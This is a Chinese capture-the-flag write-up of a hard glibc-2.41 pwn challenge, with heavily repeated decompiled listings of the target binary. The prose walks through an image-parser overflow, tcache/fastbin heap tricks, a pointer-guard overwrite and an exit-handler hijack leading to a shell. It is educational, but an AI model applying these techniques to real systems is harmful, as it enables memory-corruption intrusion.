作者:selph,首发自先知社区:3c0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4z5o6V1&6x3R3`.`.
唯一一个困难pwn题,难是真难,为期2天的比赛总共只有11只队伍解出,该题是glibc-2.41下的题目,总共3个难点:如何绕过图像校验?如何在受限情况下进行堆利用?受限情况下如何劫持执行流?对于前半,本文将介绍完整的深入分析复杂流程的过程,对于后半,本文将结合glibc2.41源码来介绍fastbin+tcachebin的组合利用技巧,和exit中攻击向量。

题目来源:DefCamp CTF 2025(2025年9月14号),困难 pwn
保护全开,glibc-2.41 版本
main函数很长,分段来看(这里是重命名后的结果):
读取用户输入的图像数据,手动输入大小和内容,需要自己构造
加载图像并解析为 RGB 格式,这里通过 stbi_load_from_memory函数进行,该函数是静态编译进去的库函数
对图像进行一系列复杂的浮点数运算(问了AI知道是像素级的处理与变换,大致如下
在处理后生成一个“权限值”(privilege),后续进入一个交互式菜单系统,根据权限值(需要是0才行)决定用户可执行的操作(如分配、释放内存块等)。
让 privilege的值为0的条件如下:
需要 privilege_pointer的值是4919,此处我测试了一个只有1个像素的bmp图片,将图片输入,这里解析出图片RGB三个hex值,经过一系列运算后,向privilege指针进行异或操作:
这个操作进行一系列 &运算,结果就是 privilege_pointer的值和一个4位的值进行异或
然后紧接着的相关操作如下:
这里对 privilege_pointer进行 |运算,最后3为恒定设置为1,然后进行 & 0x1fff,保留最后2字节,最后在 | rand() & 0x3f设置最低一字节一个值
4919的十六进制:0x1337,最后的7是无论如何都会设置上的,问题在于中间的两个3,最后的那个3的值取决于 rand函数的结果,也就是说,通过不断运行,就有概率得到0x37的最低字节值
问题在于如何在得到0x13的值?
这一块已经分析不出什么来了,注意啊!这是pwn问题,就要通过pwn的方式来完成目标!!
回过头来,看看这个 privilege_pointer怎么来的:
他们的定义:
可见,privilege_value紧挨着 modification_parameters_1数组,局部变量里就这么一个数组,碰巧有 privilege_value紧挨着,是不是有可能,这个数组会发生溢出来影响 privilege_value的值呢?
继续深入分析 modification_parameters_1参数:
然后是浮点运算用的了,正常使用逻辑下一般不会出现越界溢出,这里可疑的就是 stbi_load_from_memory函数,进去追踪该参数:
继续进入 stbi__load_and_postprocess_8bit:
这里还要继续深入 stbi__load_main:
这里可以看到,大量函数都用了 modification_parameters参数,经过逐个探索,发现位于 stbi__pic_load函数中存在溢出问题:
这里先调用了 stbi__pic_load_core函数,调用完之后,下面的for循环进行赋值,从 image_noises中赋值,这里会赋值到 image_modifications_ptr[10]中,刚好就是溢出覆盖到下一个成员的地方
能否在第2字节处赋值到0x13字节,就需要这里 image_noises[10]的第二字节是0x13,继续深入,在经过一系列计算之后,在最后会出现如下运算,给 image_noises数组进行赋值操作:
到这里已经分析明白了如何给 privilege_value赋值,接下来就是分析如何构造结构了,这些函数都是基于文件结构进行一系列计算和处理,我们需要给定正确的格式才能执行到这里完成溢出的目标
回到 stbi__load_main:
我们要进入 stbi__pic_load,需要先通过 stbi__pic_test的校验:
很显然,这里是校验文件头的地方,需要最前面4字节是PICT,然后在0x53字节处也是PICT
然后在 stbi__pic_load中解析结构的部分如下:
跳过0x5b字节,然后以16位大端序读取图像宽和图像长的值
这里需要在0x5c处构造width,0x5e处构造height,这两个数据不能超过4096,也就是0x1000,换成大端序就是0x0010
然后跳过8字节,进入 stbi__pic_load_core,前半部分如下:
这里header_data是局部变量,对结构的操作如下:
读取1个字节,作为类型,是0的话,就会直接跳出循环,降低运算的复杂性
读取3个字节,给header_data数组
这个do-while循环以4字节一组进行读取数据作为header信息
然后后半段:
这里根据header_data第一个字节判断是什么类型,我们需要进入的片段在最后为0的分支里
所以刚刚读取的第一个字节的值需要是0
然后这里,是个循环,循环次数取决于width,就是之前我们设置的width值
每一轮读取4个字节,首字节和上一轮的首字节相减求模11,第一轮的上一轮首字节是0,如果这个值是负数,就求反
根据模结果来决定image_noises的索引,我们需要溢出,需要这个值是10
然后对于noise_value,则是读取该索引处原本的值,然后对读取的4字节中的中间2字节进行异或,乘以一个浮点数,结果进行累加
为了让这个数值更快的加到0x13??,最好让异或的结果大一些,选择0xf0和0x0f进行组合
对于首字节,交替输入0和10即可,做差求模一定是10
综上,每2次循环为一组,则如此构造:
因为乘法的常量1.0e-16是个很小的数字,所以需要累加很多很多次,循环次数取决于width,所以这里可无脑填充大量的该8字节组合数据,通过不断测试width的值观察程序输出结果来判断width应该是多少(最终 privilege_value需要是0x1337,末尾的0x37是固定的,只需要找到一个合适的width让 privilege_value第二个字节的值为0x13即可)
经过测试,width为0x55时,能够覆盖出目标值,最终需要构造的结构&payload发送
因为随机数的存在,需要多尝试几次,直到成功:
成功拿到privilege==0之后,下面的菜单选项变得可用:
do_alloc:
这里申请内存长度取决于输入长度,范围是0到0x5f,最大申请出来0x70的chunk,tcache和fastbin范围内
会记录当前申请的size大小,可以无限申请该size,size只能变化1次,变化后就只能申请变化后的size
管理内存的数组一共11个,索引0-10可自由安排
do_delete:
释放chunk后没有清空指针,潜在UAF和Double-Free问题
do_show:
可以打印指定chunk 8 字节内容,配合UAF可以泄露释放chunk的前8字节指针
整理当前情况:
因为指针加密的存在,使用tcachebin chunk可以直接泄露出heap地址
还需要想办法得到libc地址,堆上出现libc地址且位于前8字节的情况只有一种:让堆上出现unsortedbin chunk
那就得 free 一个unsortedbin size 的 chunk,就需要让一个可控的chunk的size字段被修改
完成这个目标就需要任意内存分配或者任意内存写,只能使用tcachebin和fastbin的场景下,有一种技巧叫做:Tcache Reverse Into Fastbin
Tcache Reverse Into Fastbin 技巧位于malloc流程中从fastbin申请chunk的部分:
当相同size的tcachebin为空的时候,存在相同size的fastbin,申请的时候会进行如下操作:
例如:通过申请10个chunk,依次释放,7个chunk进入tcachebin,3个chunk进入fastbin;
此时申请走7个tcachebin chunk,再次申请的时候,满足了tcachebin没满,fastbin有多个chunk的条件,会进入Tcache Reverse Into Fastbin的流程
此时fastbin中,假定chunk链表为:A->B->C,则A会被分配走,然后B和C会依次填入tcachebin
如果 C 的 fd 被我们控制,指向了我们指定的地方(2.41下,目标地址需要其fd解密结果是0),那么就会将指定地方作为tcache chunk 存入 tcachebin 中
2.41下 fastbin dup和之前没有什么区别,其流程发生在free过程中:
只检查在 fastbin 链表中第一个chunk,和释放的chunk是否相同
只需要申请两个chunk,A和B
按照A,B,A的顺序释放
fastbin的链就会变成A->B->A
如果说,在之前设想的Tcache Reverse Into Fastbin场景里,我的fastbin chunk的链通过fastbin dup之后变成了A->B->A
此时申请相同大小的chunk,触发Tcache Reverse Into Fastbin的流程,就会将A分配走,然后将B插入tcachebin,再将A插入tcachebin
程序流程中会向A中写入数据,此时写入目标地址(需要其fd处解密结果是0),那么tcache链就会由A->B变成A->目标
最终可以得到一个任意地址分配的原语,如果fd处解密结果不为0,就会向tcache链表写入一个不可访问的地址,以至于该size的tcahebin不能再使用,题目只能用2个size的chunk
这里是按照流程走下来之后,完成fastbin dup之后,准备触发Tcache Reverse Into Fastbin的时候,此时我在第一个chunk处准备了经过解密可以得到0的值:
此时,我再申请一个0x60的chunk,触发Tcache Reverse Into Fastbin:
此时的bins信息:
成功将chunk1的中间加入到了tcachebin,达成任意地址分配
操作流程:
泄露 libc 地址需要伪造unsortedbin size,将刚刚的分配到chunk1中间的那个chunk,通过chunk1将其size设置为unsortedbin size,需要注意,unsortedbin chunk next chunk也需要伪造
伪造完之后,直接释放,UAF读,即可拿到libc地址:
完整的泄露libc地址的代码:
此时的bins:
0x60的tcachebin没有被损坏,还能用该size再次进行任意地址分配
接下来的问题就是,往哪里申请?接下来无法泄露任何数据了,只能任意地址分配和写
无法泄露pg,无法泄露environ
感觉可行的方案:
退出的流程主要在__run_exit_handlers函数中:遍历结构体数组exit_function_list,对每组的exit_function函数进行处理
这里的listp追溯过去,发现是全局变量initial:
这里涉及到的的的结构体:
这里的switch是个枚举类型:
这里主要关注ef_cxa的情况:
这里从结构体exit_function对应cxa的部分中,获取函数地址,参数地址,解密函数指针,然后调用函数
解密过程:
此处会调用pointer_guard进行异或操作,实际上这里还有个右移0x11位的操作在,在gdb中可以明显看到:
这里截图是完成调试最终的结果,取出initial+0x18作为函数地址,循环右移0x11位,然后和fs:[0x30]进行异或,得到函数地址
参数则是直接获取
initial此处需要构造的结构体就是:
其中,这里的函数指针需要是和pg进行异或,并且循环左移0x11位的结果
要完成这一切就能劫持控制流,就需要能够直到pg的值,或者设置pg的值
基于之前的Tcache Reverse Into Fastbin和Fastbin Dup组合利用的方式,再来一次,将pg的值覆盖为0,这样0异或任何值都不会发生变化
fs寄存器指向的地址位于举例libc.address-0x2880处,其0x30偏移处就是pg的值:
对该地址任意地址分配,写入,会导致该size的tcachebin损坏无法再用
就需要切换下一个size去做后续的事情,然后就只需要设置号initial的值即可:
最终会执行到:
从而拿到shell,具体操作脚本见下面完整exp
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
v47 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stderr, 0);
setbuf(stdout, 0);
random_seed = time(0);
srand(random_seed);
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
printf("Enter image size in bytes: ");
if ( !fgets(size_input_buffer, 32, stdin) )
{
fwrite("Failed to read size\n", 1u, 0x14u, stderr);
return 1;
}
input_size = strtoul(size_input_buffer, 0, 10);
if ( !input_size || input_size > 0x10000 )
{
fprintf(stderr, "Bad size (1–%d)\n", 0x10000);
return 1;
}
allocated_buffer = malloc(input_size);
if ( !allocated_buffer )
{
perror("malloc");
return 1;
}
bytes_read = read(0, allocated_buffer, input_size);
if ( bytes_read <= 0 )
{
perror("read");
free(allocated_buffer);
return 1;
}
image_buffer = allocated_buffer;
loaded_image_data = (char *)stbi_load_from_memory(
(__int64)allocated_buffer,
input_size,
(unsigned int *)&image_width,
(unsigned int *)&image_height,
(__int64 *)&p_menu_choice_storage,
3u,
modification_parameters_1);
if ( loaded_image_data )
{
center_x = (double)image_width / 2.0;
center_y = (double)image_height / 2.0;
max_distance = hypot(center_x, center_y);
random_modification_index = (int)((double)rand() / 2147483647.0 * 0.7 * 3.0 + 0.8);
*(double *)&modification_parameters[random_modification_index / 2 + 3] = (double)rand() / 2147483647.0 * 0.2 + 0.1;
*(double *)&modification_parameters[3 * random_modification_index] = (double)rand() / 2147483647.0 * 0.25 + 0.15;
for ( row_index = 0; row_index < image_height; ++row_index )
{
row_data_offset = &loaded_image_data[3 * row_index * image_width];
if ( (row_index & 1) != 0 )
row_color_value = 220;
else
row_color_value = 255;
current_row_color = row_color_value;
for ( i = 0; i < image_width; ++i )
{
pixel_pointer = &row_data_offset[3 * i];
distance_from_center = hypot((double)i - center_x, (double)row_index - center_y);
normalized_distance = distance_from_center / max_distance;
distance_factor = 1.8 * (1.0 - distance_from_center / max_distance);
random_value = rand();
*(double *)&modification_parameters[random_modification_index + 4] = 1.0
- *(double *)&modification_parameters[random_modification_index + 1]
* ((double)(unsigned __int8)random_value
/ 127.0);
*(double *)&modification_parameters[random_modification_index + 1] = *(double *)&modification_parameters[random_modification_index + 5]
* ((double)BYTE1(random_value)
/ 127.0)
+ 1.0;
*(double *)&modification_parameters[2 * random_modification_index + 1] = 1.0
- *(double *)&modification_parameters[2 * random_modification_index + 3]
* ((double)BYTE2(random_value)
/ 127.0);
if ( (random_value & 0x3FF) == 0 )
{
*pixel_pointer ^= 0x3Fu;
pixel_pointer[1] ^= 0x7Fu;
pixel_pointer[2] = ~pixel_pointer[2];
}
red_component = pow((double)(unsigned __int8)*pixel_pointer / 255.0, (double)random_modification_index);
processed_red = red_component * *(double *)&modification_parameters[random_modification_index + 4];
green_component = pow((double)(unsigned __int8)pixel_pointer[1] / 255.0, (double)random_modification_index);
processed_green = *(double *)&modification_parameters[random_modification_index + 5]
* ((distance_factor + 1.0)
* green_component);
blue_component = pow((double)(unsigned __int8)pixel_pointer[2] / 255.0, (double)random_modification_index);
processed_blue = blue_component * *(double *)&modification_parameters[random_modification_index + 4];
clamped_red = fmin(processed_red, 1.0);
*pixel_pointer = (int)(clamped_red * (double)current_row_color);
clamped_green = fmin(processed_green, 1.0);
pixel_pointer[1] = (int)(clamped_green * (double)current_row_color);
clamped_blue = fmin(processed_blue, 1.0);
pixel_pointer[2] = (int)(clamped_blue * (double)current_row_color);
*privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
& (unsigned __int8)pixel_pointer[2]
& 0xF;
}
}
*privilege_pointer |= 7u;
*privilege_pointer &= 0x1FFFu;
final_privilege_value = *privilege_pointer;
*privilege_pointer = rand() & 0x3F | final_privilege_value;
temporary_buffer_1 = malloc(0x2F0u);
temporary_buffer_2 = malloc(0x8F0u);
stbi_image_free(loaded_image_data);
privilege = *privilege_pointer != 4919;
menu_format_string = "yo face = %d\n";
printf("yo face = %d\n", *privilege_pointer);
v47 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stderr, 0);
setbuf(stdout, 0);
random_seed = time(0);
srand(random_seed);
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
printf("Enter image size in bytes: ");
if ( !fgets(size_input_buffer, 32, stdin) )
{
fwrite("Failed to read size\n", 1u, 0x14u, stderr);
return 1;
}
input_size = strtoul(size_input_buffer, 0, 10);
if ( !input_size || input_size > 0x10000 )
{
fprintf(stderr, "Bad size (1–%d)\n", 0x10000);
return 1;
}
allocated_buffer = malloc(input_size);
if ( !allocated_buffer )
{
perror("malloc");
return 1;
}
bytes_read = read(0, allocated_buffer, input_size);
if ( bytes_read <= 0 )
{
perror("read");
free(allocated_buffer);
return 1;
}
image_buffer = allocated_buffer;
loaded_image_data = (char *)stbi_load_from_memory(
(__int64)allocated_buffer,
input_size,
(unsigned int *)&image_width,
(unsigned int *)&image_height,
(__int64 *)&p_menu_choice_storage,
3u,
modification_parameters_1);
if ( loaded_image_data )
{
center_x = (double)image_width / 2.0;
center_y = (double)image_height / 2.0;
max_distance = hypot(center_x, center_y);
random_modification_index = (int)((double)rand() / 2147483647.0 * 0.7 * 3.0 + 0.8);
*(double *)&modification_parameters[random_modification_index / 2 + 3] = (double)rand() / 2147483647.0 * 0.2 + 0.1;
*(double *)&modification_parameters[3 * random_modification_index] = (double)rand() / 2147483647.0 * 0.25 + 0.15;
for ( row_index = 0; row_index < image_height; ++row_index )
{
row_data_offset = &loaded_image_data[3 * row_index * image_width];
if ( (row_index & 1) != 0 )
row_color_value = 220;
else
row_color_value = 255;
current_row_color = row_color_value;
for ( i = 0; i < image_width; ++i )
{
pixel_pointer = &row_data_offset[3 * i];
distance_from_center = hypot((double)i - center_x, (double)row_index - center_y);
normalized_distance = distance_from_center / max_distance;
distance_factor = 1.8 * (1.0 - distance_from_center / max_distance);
random_value = rand();
*(double *)&modification_parameters[random_modification_index + 4] = 1.0
- *(double *)&modification_parameters[random_modification_index + 1]
* ((double)(unsigned __int8)random_value
/ 127.0);
*(double *)&modification_parameters[random_modification_index + 1] = *(double *)&modification_parameters[random_modification_index + 5]
* ((double)BYTE1(random_value)
/ 127.0)
+ 1.0;
*(double *)&modification_parameters[2 * random_modification_index + 1] = 1.0
- *(double *)&modification_parameters[2 * random_modification_index + 3]
* ((double)BYTE2(random_value)
/ 127.0);
if ( (random_value & 0x3FF) == 0 )
{
*pixel_pointer ^= 0x3Fu;
pixel_pointer[1] ^= 0x7Fu;
pixel_pointer[2] = ~pixel_pointer[2];
}
red_component = pow((double)(unsigned __int8)*pixel_pointer / 255.0, (double)random_modification_index);
processed_red = red_component * *(double *)&modification_parameters[random_modification_index + 4];
green_component = pow((double)(unsigned __int8)pixel_pointer[1] / 255.0, (double)random_modification_index);
processed_green = *(double *)&modification_parameters[random_modification_index + 5]
* ((distance_factor + 1.0)
* green_component);
blue_component = pow((double)(unsigned __int8)pixel_pointer[2] / 255.0, (double)random_modification_index);
processed_blue = blue_component * *(double *)&modification_parameters[random_modification_index + 4];
clamped_red = fmin(processed_red, 1.0);
*pixel_pointer = (int)(clamped_red * (double)current_row_color);
clamped_green = fmin(processed_green, 1.0);
pixel_pointer[1] = (int)(clamped_green * (double)current_row_color);
clamped_blue = fmin(processed_blue, 1.0);
pixel_pointer[2] = (int)(clamped_blue * (double)current_row_color);
*privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
& (unsigned __int8)pixel_pointer[2]
& 0xF;
}
}
*privilege_pointer |= 7u;
*privilege_pointer &= 0x1FFFu;
final_privilege_value = *privilege_pointer;
*privilege_pointer = rand() & 0x3F | final_privilege_value;
temporary_buffer_1 = malloc(0x2F0u);
temporary_buffer_2 = malloc(0x8F0u);
stbi_image_free(loaded_image_data);
privilege = *privilege_pointer != 4919;
menu_format_string = "yo face = %d\n";
printf("yo face = %d\n", *privilege_pointer);
privilege = *privilege_pointer != 4919;
privilege = *privilege_pointer != 4919;
*privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
& (unsigned __int8)pixel_pointer[2]
& 0xF;
*privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
& (unsigned __int8)pixel_pointer[2]
& 0xF;
*privilege_pointer |= 7u;
*privilege_pointer &= 0x1FFFu;
final_privilege_value = *privilege_pointer;
*privilege_pointer = rand() & 0x3F | final_privilege_value;
privilege = *privilege_pointer != 4919;
*privilege_pointer |= 7u;
*privilege_pointer &= 0x1FFFu;
final_privilege_value = *privilege_pointer;
*privilege_pointer = rand() & 0x3F | final_privilege_value;
privilege = *privilege_pointer != 4919;
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
__int64 modification_parameters_1[10];
int privilege_value;
char size_input_buffer[40];
__int64 modification_parameters_1[10];
int privilege_value;
char size_input_buffer[40];
modification_parameters = modification_parameters_1;
...
loaded_image_data = (char *)stbi_load_from_memory(
(__int64)allocated_buffer,
input_size,
(unsigned int *)&image_width,
(unsigned int *)&image_height,
(__int64 *)&p_menu_choice_storage,
3u,
modification_parameters_1);
..。
modification_parameters = modification_parameters_1;
...
loaded_image_data = (char *)stbi_load_from_memory(
(__int64)allocated_buffer,
input_size,
(unsigned int *)&image_width,
(unsigned int *)&image_height,
(__int64 *)&p_menu_choice_storage,
3u,
modification_parameters_1);
..。
__int64 __fastcall stbi_load_from_memory(
__int64 buf,
int size,
unsigned int *p_j,
unsigned int *p_i,
__int64 *p_menu_choice_storage,
unsigned int n3,
__int64 *modification_parameters)
{
__int64 v12[30];
v12[29] = __readfsqword(0x28u);
stbi__start_mem(v12, buf, size);
return stbi__load_and_postprocess_8bit((int)v12, p_j, p_i, p_menu_choice_storage, n3, modification_parameters);
}
__int64 __fastcall stbi_load_from_memory(
__int64 buf,
int size,
unsigned int *p_j,
unsigned int *p_i,
__int64 *p_menu_choice_storage,
unsigned int n3,
__int64 *modification_parameters)
{
__int64 v12[30];
v12[29] = __readfsqword(0x28u);
stbi__start_mem(v12, buf, size);
return stbi__load_and_postprocess_8bit((int)v12, p_j, p_i, p_menu_choice_storage, n3, modification_parameters);
}
char *__fastcall stbi__load_and_postprocess_8bit(
unsigned int *a1,
unsigned int *p_j,
unsigned int *p_i,
__int64 *p_menu_choice_storage,
unsigned int n3,
__int64 *modification_parameters)
{
unsigned int n3_1;
bool v8;
int n3_2;
char *main;
unsigned int p_n8[3];
unsigned __int64 v15;
v15 = __readfsqword(0x28u);
main = stbi__load_main(a1, p_j, p_i, p_menu_choice_storage, n3, p_n8, 8, modification_parameters);
if ( !main )
return 0;
if ( p_n8[0] != 8 && p_n8[0] != 16 )
__assert_fail(
"ri.bits_per_channel == 8 || ri.bits_per_channel == 16",
"stb_image.h",
0x50Cu,
"stbi__load_and_postprocess_8bit");
if ( p_n8[0] != 8 )
{
if ( n3 )
...
char *__fastcall stbi__load_and_postprocess_8bit(
unsigned int *a1,
unsigned int *p_j,
unsigned int *p_i,
__int64 *p_menu_choice_storage,
unsigned int n3,
__int64 *modification_parameters)
{
unsigned int n3_1;
bool v8;
int n3_2;
char *main;
unsigned int p_n8[3];
unsigned __int64 v15;
v15 = __readfsqword(0x28u);
main = stbi__load_main(a1, p_j, p_i, p_menu_choice_storage, n3, p_n8, 8, modification_parameters);
if ( !main )
return 0;
if ( p_n8[0] != 8 && p_n8[0] != 16 )
__assert_fail(
"ri.bits_per_channel == 8 || ri.bits_per_channel == 16",
"stb_image.h",
0x50Cu,
"stbi__load_and_postprocess_8bit");
if ( p_n8[0] != 8 )
{
if ( n3 )
...
char *__fastcall stbi__load_main(
unsigned int *p_n4096,
unsigned int *p_j,
unsigned int *p_i,
__int64 *p_menu_choice_storage,
unsigned int n3,
_DWORD *p_n8,
int n8,
__int64 *modification_parameters)
{
unsigned int n3_1;
void *v14;
memset(p_n8, 0, 0xCu);
*p_n8 = 8;
p_n8[2] = 0;
p_n8[1] = 0;
if ( (unsigned int)stbi__png_test(p_n4096, modification_parameters) )
return (char *)stbi__png_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__bmp_test(p_n4096, modification_parameters) )
return stbi__bmp_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( stbi__gif_test(p_n4096, modification_parameters) )
return (char *)stbi__gif_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__psd_test(p_n4096, modification_parameters) )
return stbi__psd_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, n8, modification_parameters);
if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
return (char *)stbi__pic_load(
p_n4096,
p_j,
p_i,
(unsigned int *)p_menu_choice_storage,
n3,
p_n8,
modification_parameters);
if ( (unsigned int)stbi__jpeg_test(p_n4096, modification_parameters) )
return (char *)stbi__jpeg_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__pnm_test(p_n4096, modification_parameters) )
return stbi__pnm_load((int *)p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__hdr_test(p_n4096, modification_parameters) )
{
v14 = stbi__hdr_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( n3 )
n3_1 = n3;
else
n3_1 = *(_DWORD *)p_menu_choice_storage;
return (char *)stbi__hdr_to_ldr(v14, *p_j, *p_i, n3_1);
}
else if ( (unsigned int)stbi__tga_test(p_n4096, modification_parameters) )
{
return (char *)stbi__tga_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8);
}
else
{
stbi__err("unknown image type");
return 0;
}
}
char *__fastcall stbi__load_main(
unsigned int *p_n4096,
unsigned int *p_j,
unsigned int *p_i,
__int64 *p_menu_choice_storage,
unsigned int n3,
_DWORD *p_n8,
int n8,
__int64 *modification_parameters)
{
unsigned int n3_1;
void *v14;
memset(p_n8, 0, 0xCu);
*p_n8 = 8;
p_n8[2] = 0;
p_n8[1] = 0;
if ( (unsigned int)stbi__png_test(p_n4096, modification_parameters) )
return (char *)stbi__png_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__bmp_test(p_n4096, modification_parameters) )
return stbi__bmp_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( stbi__gif_test(p_n4096, modification_parameters) )
return (char *)stbi__gif_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__psd_test(p_n4096, modification_parameters) )
return stbi__psd_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, n8, modification_parameters);
if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
return (char *)stbi__pic_load(
p_n4096,
p_j,
p_i,
(unsigned int *)p_menu_choice_storage,
n3,
p_n8,
modification_parameters);
if ( (unsigned int)stbi__jpeg_test(p_n4096, modification_parameters) )
return (char *)stbi__jpeg_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__pnm_test(p_n4096, modification_parameters) )
return stbi__pnm_load((int *)p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( (unsigned int)stbi__hdr_test(p_n4096, modification_parameters) )
{
v14 = stbi__hdr_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
if ( n3 )
n3_1 = n3;
else
n3_1 = *(_DWORD *)p_menu_choice_storage;
return (char *)stbi__hdr_to_ldr(v14, *p_j, *p_i, n3_1);
}
else if ( (unsigned int)stbi__tga_test(p_n4096, modification_parameters) )
{
return (char *)stbi__tga_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8);
}
else
{
stbi__err("unknown image type");
return 0;
}
}
if ( !stbi__pic_load_core(
file_data_ptr,
image_width,
image_height,
local_format_ptr,
(char *)loaded_image_data,
image_modifications_ptr) )
{
free(loaded_image_data);
loaded_image_data = 0;
}
*image_width_ptr = image_width;
*image_height_ptr = image_height;
if ( !requested_components )
requested_components = *local_format_ptr;
loaded_image_data = (void *)stbi__convert_format(
loaded_image_data,
4,
requested_components,
image_width,
image_height);
for ( i = 0; i <= 10; ++i )
*(double *)&image_modifications_ptr[i] = image_noises[i];
return loaded_image_data;
if ( !stbi__pic_load_core(
file_data_ptr,
image_width,
image_height,
local_format_ptr,
(char *)loaded_image_data,
image_modifications_ptr) )
{
free(loaded_image_data);
loaded_image_data = 0;
}
*image_width_ptr = image_width;
*image_height_ptr = image_height;
if ( !requested_components )
requested_components = *local_format_ptr;
loaded_image_data = (void *)stbi__convert_format(
loaded_image_data,
4,
requested_components,
image_width,
image_height);
for ( i = 0; i <= 10; ++i )
*(double *)&image_modifications_ptr[i] = image_noises[i];
return loaded_image_data;
if ( mod_result > 0 )
index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
buffer_ptr += 4;
}
if ( mod_result > 0 )
index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;
image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
buffer_ptr += 4;
}
if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
return (char *)stbi__pic_load(
p_n4096,
p_j,
p_i,
(unsigned int *)p_menu_choice_storage,
n3,
p_n8,
modification_parameters);
if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
return (char *)stbi__pic_load(
p_n4096,
p_j,
p_i,
(unsigned int *)p_menu_choice_storage,
n3,
p_n8,
modification_parameters);
__int64 __fastcall stbi__pic_test(unsigned int *p_n4096, __int64 *modification_parameters)
{
unsigned int v3;
v3 = stbi__pic_test_core(p_n4096, modification_parameters);
stbi__rewind(p_n4096);
return v3;
}
_BOOL8 __fastcall stbi__pic_test_core(unsigned int *p_n4096, __int64 *modification_parameters)
{
int i;
if ( !(unsigned int)stbi__pic_is4(p_n4096, &PICT) )
return 0;
for ( i = 0; i <= 0x53; ++i )
stbi__get8(p_n4096);
return (unsigned int)stbi__pic_is4(p_n4096, "PICT") != 0;
}
__int64 __fastcall stbi__pic_test(unsigned int *p_n4096, __int64 *modification_parameters)
{
unsigned int v3;
v3 = stbi__pic_test_core(p_n4096, modification_parameters);
stbi__rewind(p_n4096);
return v3;
}
_BOOL8 __fastcall stbi__pic_test_core(unsigned int *p_n4096, __int64 *modification_parameters)
{
int i;
if ( !(unsigned int)stbi__pic_is4(p_n4096, &PICT) )
return 0;
for ( i = 0; i <= 0x53; ++i )
stbi__get8(p_n4096);
return (unsigned int)stbi__pic_is4(p_n4096, "PICT") != 0;
}
local_format_ptr = image_format_ptr;
stack_canary_value = __readfsqword(0x28u);
if ( !image_format_ptr )
local_format_ptr = (unsigned int *)&temp_format_storage;
for ( header_skip_counter = 0; header_skip_counter <= 0x5B; ++header_skip_counter )
stbi__get8((__int64 *)file_data_ptr);
image_width = stbi__get16be(file_data_ptr);
image_height = stbi__get16be(file_data_ptr);
if ( (int)image_height > 4096 || (int)image_width > 4096 )
goto LABEL_12;
if ( (unsigned int)stbi__at_eof(file_data_ptr) )
{
stbi__err("bad file");
return 0;
}
if ( (unsigned int)stbi__mad3sizes_valid(image_width, image_height, 4, 0) )
{
stbi__get32be(file_data_ptr);
stbi__get16be(file_data_ptr);
stbi__get16be(file_data_ptr);
loaded_image_data = (void *)stbi__malloc_mad3(image_width, image_height, 4u, 0);
if ( loaded_image_data )
{
memset(loaded_image_data, 0xFF, (int)(4 * image_height * image_width));
if ( !stbi__pic_load_core(
file_data_ptr,
image_width,
image_height,
local_format_ptr,
(char *)loaded_image_data,
image_modifications_ptr) )
local_format_ptr = image_format_ptr;
stack_canary_value = __readfsqword(0x28u);
if ( !image_format_ptr )
local_format_ptr = (unsigned int *)&temp_format_storage;
for ( header_skip_counter = 0; header_skip_counter <= 0x5B; ++header_skip_counter )
stbi__get8((__int64 *)file_data_ptr);
image_width = stbi__get16be(file_data_ptr);
image_height = stbi__get16be(file_data_ptr);
if ( (int)image_height > 4096 || (int)image_width > 4096 )
goto LABEL_12;
